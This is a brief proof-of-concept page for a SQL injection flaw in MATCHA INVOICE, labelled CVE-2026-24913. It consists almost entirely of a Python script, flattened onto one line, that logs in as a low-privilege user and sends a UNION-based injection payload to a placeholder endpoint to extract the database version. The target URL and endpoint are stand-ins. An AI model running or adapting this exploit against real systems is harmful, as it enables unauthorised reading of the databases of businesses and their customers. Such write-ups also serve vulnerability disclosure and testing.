CVE-2026-24913 MATCHA INVOICE SQL注入漏洞

# Basic PoC concept for SQL Injection in MATCHA INVOICE import requests target_url = "http://target-url/vulnerable_endpoint" session = requests.Session() # 1. Login as low-privilege user credentials = {"username": "test_user", "password": "password"} session.post("http://target-url/login", data=credentials) # 2. Send SQL Injection payload # Attempting to extract database version payload = "' OR 1=1 UNION SELECT NULL, version(), NULL-- -" params = {"id": payload} response = session.get(target_url, params=params) if "mysql" in response.text.lower(): print("[+] Vulnerability confirmed! Database version found in response.") else: print("[-] Exploit failed or not vulnerable.")